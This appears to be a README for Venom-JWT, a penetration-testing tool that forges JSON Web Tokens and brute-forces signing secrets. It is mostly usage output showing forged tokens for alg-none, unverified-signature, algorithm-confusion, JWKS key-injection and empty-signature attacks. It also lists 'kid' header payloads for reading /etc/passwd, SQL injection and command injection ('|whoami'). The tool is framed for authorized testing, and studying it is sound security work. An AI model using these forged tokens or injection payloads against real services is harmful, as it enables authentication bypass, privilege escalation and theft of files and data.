
针对JWT渗透开发的漏洞验证/密钥爆破工具,针对CVE-2015-9235/空白密钥/未验证签名攻击/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042的结果生成用于FUZZ,也可使用字典/字符枚举(包括JJWT)的方式进行爆破(JWT Crack)
Solemn Statement: The techniques, ideas, and tools mentioned in this document are for learning and communication purposes only for security. No one shall use them for illegal purposes or for profit, otherwise the consequences shall be borne by themselves.
A vulnerability verification/secret cracking tool developed for JWT penetration. It generates results for CVE-2015-9235/Unverified Signature Attack/CVE-2016-10555/CVE-2018-0114/CVE-2020-28042 for FUZZ, and can also perform cracking using dictionary/character enumeration.Tool Introduction · Usage · Notes · Technical Exchange
During penetration testing of company projects, when encountering front-end and back-end separation projects, JWT is often used as a Token for permission verification. Tools like jwt-tool can be used, but they still cannot achieve a one-stop solution. Therefore, I developed a one-stop JWT penetration auxiliary tool using Go to help everyone perform privilege escalation testing.
What are the application scenarios for this tool?
What are the advantages of this tool?
# Build
go mod tidy
cd cmd
go build.
# Command line run
.\cmd.exe -h
Usage of C:\Users\xxx\Venom-JWT\cmd\cmd.exe:
-df string
Whether to use payloads from file. Default empty uses built-in role dictionary (mode 2 binding). Non-empty for mode 3 (mode 3 binding)
-em int
Secret encryption mode NONE/MD5/16-bit MD5/BASE64 (default ALL=>0, NONE=>1, MD5=>2, 16-bit MD5=>3, BASE64)
-fs string
Default dictionary for cracking. Can be modified according to guessed rules (used with -fz for length) (default "abcdefghijklmnopqrstuvwxyz0123456789")
-fz int
Maximum character count for character cracking (if character cracking, specify length -fz)
-jbc string
JWT body to modify
-jm int
Mode 1: (Unknown Secret) Modify Payload privilege escalation test Mode 2: (Test Mode 1 first) PayloadFuzz privilege escalation test Mode 3: Secret text brute force Mode 4: Secret character brute force (if character brute force, specify length -fz) Mode 5: Verify JWT Secret (default 1)
-jwt.txt string
JWT string
-mz int
Minimum character count for character cracking (if character cracking, specify length -mz). Default is 1 (default 1)
-pem string
Path to public key pem (preferably absolute path)
-pt int
Select mode: 0 for default full execution, 1 for modifying alg to none (CVE-2015-2951), 2 for privilege escalation due to unverified signature, 3 for modifying asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555), 4 for JWKS public key injection - forging key (CVE-2018-0114), 5 for empty signature (CVE-2020-28042)
-s string
Known Secret, default empty
# Interactive run
.\cmd.exe
? [Prerequisite Selection] Modify JWT to test privilege escalation when secret is unknown, please select mode:
[·] [Use arrows to move, type to filter]
> Mode 1: (Unknown Secret) Modify Payload privilege escalation test
Mode 2: (Test Mode 1 first) PayloadFuzz privilege escalation test
Mode 3: Secret text brute force
Mode 4: Secret character brute force
Mode 5: Verify JWT Secret
? Please enter your JWT string:
[·] eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
[+]JWT Header: {"alg":"HS256","typ":"JWT"}
JWT Payload: {"iss":"admin","iat":1701375177,"exp":1701382377,"nbf":1701375177,"sub":"user","jti":"a01707f44f7df8b5cbe5e129a0f5c311"}
JWT Signature: 563a9ae6f62ff6e454aa2690a6c0f196cc067cae67dae980a7e36b634a77f5b8
? [Mode 1][Mode 2] Modify JWT to test privilege escalation when secret is unknown, please select specific test mode:
[·] [Use arrows to move, type to filter]
> Mode 0: Default full execution
Mode 1: Modify alg to none (CVE-2015-2951)
Mode 2: Privilege escalation due to unverified signature
Mode 3: Modify asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555)
Mode 4: JWKS public key injection - forging key (CVE-2018-0114)
Mode 5: Empty signature (CVE-2020-28042)
? In [Mode 1][Mode 2][Mode 5], you need to modify the JSON string in the second part (Payload) of JWT for privilege escalation test. Copy the Payload part from the previous step, modify it, and enter here:
[Mode 1][Mode 5] Example: {"username":"admin","role":"admin"}
[Mode 2] Example: {"usernmae":"admin","role":"FUZZ"}
Please note that in [Mode 2], FUZZ is the dictionary replacement position. If you do not modify, press Enter to use the original Payload by default.
? Please enter the file path of the public key pem you collected (preferably absolute path)
[·] C:\Users\15403\Desktop\Venom-JWT\public_key.pem
==============Privilege escalation test by modifying Payload without secret===========
① In most cases, when alg is HS256, you can change JWT to none (CVE-2015-9235)
[+]【alg to none】: eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg to None】: eyJhbGciOiJOb25lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg to NoNe】: eyJhbGciOiJOb05lIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
[+]【alg to NONE】: eyJhbGciOiJOT05FIiwidHlwIjoiSldUIn0.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
② Unverified signature attack: Modify Payload without validation
[+]【Invalid signature attack】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg
③ Modify asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555) attack
[+] 【Modify asymmetric crypto algorithm to symmetric crypto algorithm】:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiIiLCJraWQiOiIiLCJ1c2UiOiIiLCJuIjoiIiwiZSI6IiJ9fQ.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.h3V6ZHHJ3tt080xFLsA4U1_Z0VT8wkLQD9I2miqIeE0
④ JWKS public key injection - forging key (CVE-2018-0114) attack
[+]【Forged key】: eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImp3ayI6eyJrdHkiOiJSU0EiLCJraWQiOiJleGFtcGxlQGV4YW1wbGUuY29tIiwidXNlIjoic2lnIiwibiI6IjdLVktGZXpyeTlIclRFUERUcG5Xc2V3cnZQUkNsVE1pZXNGb1BXVlFtOTRMbFpwZzhmT1puMU4zMWNMMWdMUDROTExqek42cmFfRG8tQnJyZEVNMkpSeVVpUjUxUEpKTFUyRG9TdUNZcHlhTk53TG0zNzZEY09td1VyWlJ1SVVyMmlpWWJsVVJwaXl4SVl1SzJuWVIzYzBvalZGdnNJMmluc25PZnhIaTJvWkNWdS1SeDdVQkJIdDFRUUxzUEc4MDh4cVJDTU4yd1EwYklDNVZKWkl3YzhaQnVCNnVEUXRnSFc2UjBKc0hyU1BOVk9wY2NXbHJURlpGQjV0SVhxMUhJLUh1QnZ4WW53LWRYdU1FYWZSczFkQzg5Q3FfQ1FHSnY0M2h4SzZsQlZ4bnNQYWQ2QmpGSGZrSVQxdnk4LTNfSUJMT2J0Vnp0eDQyTmFGTzhzcVZrUSIsImUiOiJBUUFCIn19.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.6yhddpQy3gxajRYCc3HQHGflqLfyN3Ettre95E_u_BYtEl7-6058CKEdQjWT8CIPD7UGz6Mktx43o8Q2R5ILzkro2TkrE7ELW0--CDCf1bot--ho8LCovybl5TZtTGbSfE5F1zPiQCPnJTnQOe438VU7-MykBVFW690B1Ymk6YbmTzVyVS3mgdE252ocGHIyoG8EEPW3u3ZYXcB9rL30-mNLKmkctPHRCE-TXv7CZtLsrwK7SJTPgBh1jKtsdfFEXtpGrHOwaG2OOk5k8CzpIbWN9rt6lp4hlVaX-5Y1WWpPRHsmBCLVytZaJ2iQtLJjaZM659_hK_w5Os6sngyVNA
⑤ Empty signature (CVE-2020-28042) attack
[+]【Empty signature】: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.
Note: All JWT results have been saved in result.txt in the running directory. You can replay them in Intruder to test if they are valid tokens.
① In most cases, when alg is HS256, change JWT to none (CVE-2015-9235)
② Unverified signature attack: Modify Payload without validation
③ Modify asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555) attack
④ JWKS public key injection - forging key (CVE-2018-0114) attack
⑤ Empty signature (CVE-2020-28042) attack
Can be directly replayed in Repeater.
Other special vulnerability discoveries:
When parsing the first part of JWT, if other parameters are found, there may be hints for other vulnerabilities.
// Java jjwt test code
public class JwtExample {
private static void disableKeyLengthCheck() throws Exception {
// Use reflection to modify SignatureAlgorithm.HS256's minKeyLength
Field minKeyLengthField = SignatureAlgorithm.class.getDeclaredField("minKeyLength");
minKeyLengthField.setAccessible(true);
minKeyLengthField.set(SignatureAlgorithm.HS256, 0); // Set minimum key length to 0
}
public static void main(String[] args) throws Exception {
disableKeyLengthCheck();
// Original secret
String secret = "test@123";
JwtBuilder jwtBuilder = Jwts.builder().setHeaderParam("kid", "your-key-id").setId("400").setSubject("test").setAudience("{\"abc\":\"123\"}").signWith(SignatureAlgorithm.HS256, secret.getBytes());
HashMap<String, Object> stringObjectHashMap = new HashMap<>();
stringObjectHashMap.put("test", "test");
jwtBuilder.addClaims(stringObjectHashMap);
System.out.println(jwtBuilder.compact());
}
}
Generated result: eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM



Related vulnerabilities here (I've taken them from other articles, analyze them yourself)
1. Arbitrary file reading
The KID parameter is used to read the key file, but the system doesn't know if the user actually wants to read the key file. Therefore, if the parameter is not filtered, an attacker can read arbitrary files on the system.
{ "typ": "JWT", "kid": "/etc/passwd", "alg": "HS256"}
2、SQL injection
KID can also extract data from the database, which may cause SQL injection attacks. By constructing SQL statements, data can be obtained or signature verification can be bypassed.
If the KID field exists, try injecting it. Modify the KID value to a SQL statement, change the username to Tom, and make the signature key the same as the SQL statement. For example, if the SQL statement is 3, its base64 encoding is Mw==, so the signature key is set to 3:
{ "typ": "JWT", "kid":"';select 'Mw==' from jwt_keys --"}
3. Command injection
Poor filtering of the KID parameter may also lead to command injection issues, but the conditions for exploitation are relatively harsh. If the server backend uses Ruby and uses the open function to read the key file, it may cause command injection by constructing parameters.
{ "typ": "JWT", "kid": "/path/to/key_file|whoami", "alg": "HS256"}
If other parameters appear, further analysis can be performed.
Now let's look at the cracking module
Just find a dictionary online.
Test JWT1 (secret 123456):
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTcwMTM3NTE3NywiZXhwIjoxNzAxMzgyMzc3LCJuYmYiOjE3MDEzNzUxNzcsInN1YiI6InVzZXIiLCJqdGkiOiJhMDE3MDdmNDRmN2RmOGI1Y2JlNWUxMjlhMGY1YzMxMSJ9.Vjqa5vYv9uRUqiaQpsDxlswGfK5n2umAp-NrY0p39bg

Test JWT2 (jjwt secret test@123):
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.QhH2ACZXaoa3F5LIDAQVnhoCgsXWEIw44H7m6pO9bxM

Use JWT1 to test the character generation effect:
Here I generated all dictionaries of lengths 4-6. The input is 1234567890. It's not necessary to make it too large for demonstration. You can test it yourself; it will be fast.

This will generate genFuzzDict.txt in the current directory. The generated amount can be huge. Originally, I used thread pool + producer-consumer mode, but after running, starting from length 4, the program would crash due to insufficient memory. So I improved it to save to text and read from it. When the program matches the key, it exits on its own and no longer reads the file.
Another example with MD5:
eyJraWQiOiJ5b3VyLWtleS1pZCIsImFsZyI6IkhTMjU2In0.eyJqdGkiOiI0MDAiLCJzdWIiOiJ0ZXN0IiwiYXVkIjoie1wiYWJjXCI6XCIxMjNcIn0iLCJ0ZXN0IjoidGVzdCJ9.cVkiZiHhiB4galgAh6EB_mrIOd3gPqqPsuXZq9S2MQw

Mode 3: Modify asymmetric crypto algorithm to symmetric crypto algorithm (CVE-2016-10555). If there is a leaked public key in the page JS, use the public key saved from the page. If not, use this as a substitute to go through generation, otherwise an error will occur.Penetration service tool Github: https://github.com/z-bool Venom
Security research project Github: https://github.com/SpringKill-team SpringKill Team
A Dai Attack & Defense official account:
